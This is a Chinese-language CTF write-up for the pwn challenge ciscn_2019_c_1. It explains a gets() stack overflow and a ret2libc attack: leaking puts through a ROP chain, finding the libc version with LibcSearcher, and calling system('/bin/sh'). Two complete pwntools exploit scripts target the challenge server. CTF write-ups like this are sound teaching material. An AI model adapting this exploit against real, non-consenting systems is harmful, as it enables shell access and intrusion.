
checksec:
发现没啥要注意的保护,64位小端序,用ida64打开,看关键代码

看到encrypt函数中有get()函数,存在溢出!
但是找了半天也没找到后门函数地址,所以这一题难点在于自己构造rop链得到后门
因为这是64位程序,想要执行system('/bin/bash'),整体的payload应该是:垃圾字符(填满栈和rbp)
- pop_rdi地址 + /bin/bash地址 + system函数地址
(注意:以上地址均需要为运行时的真实内存地址)
所以这一题后门的三个地址都要自己找QAQ
pop rdi地址:
由于pop rdi属于ciscn_2019_c_1这个二进制文件
所以在关闭PIE的前提下:该地址可以直接用ropgadget得到
ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi"
binbash的地址和system()的地址都属于标准c的字符串或库函数,不能用ropgadget得到
所以必须泄露libc的基址,在加上偏移值才能的到system()和binbash才能得到在内存中的真实地址
泄露libc基址:
我们可以用LibcSearcher('xxx',real_addr)得到libc版本,其中real_addr是xxx函数的运行时的真实地址
可以通过用put函数打印出libc的基址;
在64位程序中构造函数调用rop链都要遵循:
pop rdi地址 + 参数地址 + 函数地址
pop rdi刚刚已经找过了:0x400c83
参数地址就选puts_got的地址,因为got表就是存放函数运行时的真实地址,也可以换成其他函数的got值
函数地址就用put_plt,意思就是调用put函数
至于puts_got的值怎么找:1.可以看ida的got段 2.可以用内置函数elf.got['字符串']得到
同理,puts_plt也一样,我用的是elf.plt['字符串']得到put_addr的exp:
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))这里解释一下最后一句代码:接收返回的地址,不要最后一个'\n'字符,并且向左补齐二进制的\0,补8位。
得到puts_addr,最后回到main函数
接下来就是获取绑定了libc的对象:
libc=LibcSearcher('puts',puts_addr)
不同的libc就会有不同的函数偏移,所以得确定到底是哪个libc版本
计算libc基址:
确定了libc版本之后就可以用 put函数的运行地址-put函数再libc中的偏移量 = libc基址
libc_base=puts_addr-libc.dump('puts')基址算出来了,可以利用libc.dump('system'),libc.dump('str_bin_sh')得到偏移,加上基址libc_base之后就是真实地址
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')最后构造rop链接
垃圾字符 + pop_rdi地址 + /bin/bash地址 + system函数地址exp:
from pwn import *
from LibcSearcher import *
#p = process('./ciscn_2019_c_1')
p = remote('node5.buuoj.cn', 28951)
elf = ELF('./ciscn_2019_c_1')
offset = 0x50 + 0x8
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x400c84
#puts_got = elf.got['puts']
#puts_plt = elf.plt['puts']
#其实可以直接可以在IDA里面找到的
puts_plt = 0x4006e0
puts_got = 0x602020
payload_1 = b'\0' + b'A'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('choice!\n', '1')
p.sendlineafter('encrypted\n',payload_1)
p.recvline()
p.recvline()
put_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', put_addr)
base_addr = put_addr - libc.dump('puts')
#print(hex(base_addr))
#print(hex(libc.dump('puts')))
binsh = base_addr + libc.dump('str_bin_sh')
#print(hex(libc.dump('str_bin_sh')))
system = base_addr + libc.dump('system')
#print(hex(libc.dump('system')))
p.sendlineafter('choice!\n', '1')
payload_2 = b'\0' + b'A'*(offset-1)+ p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendlineafter('encrypted\n', payload_2)
p.interactive()直接用elf.got的话得下载低版本的pwntool,并且安装比版本的依赖
sudo pip3 install "pwntools==4.8.0" "unicorn==1.0.3" --force-reinstall -i https://pypi.tuna.tsinghua.edu.cn/simplesudo pip3 install "pyelftools==0.29" -i https://pypi.tuna.tsinghua.edu.cn/simple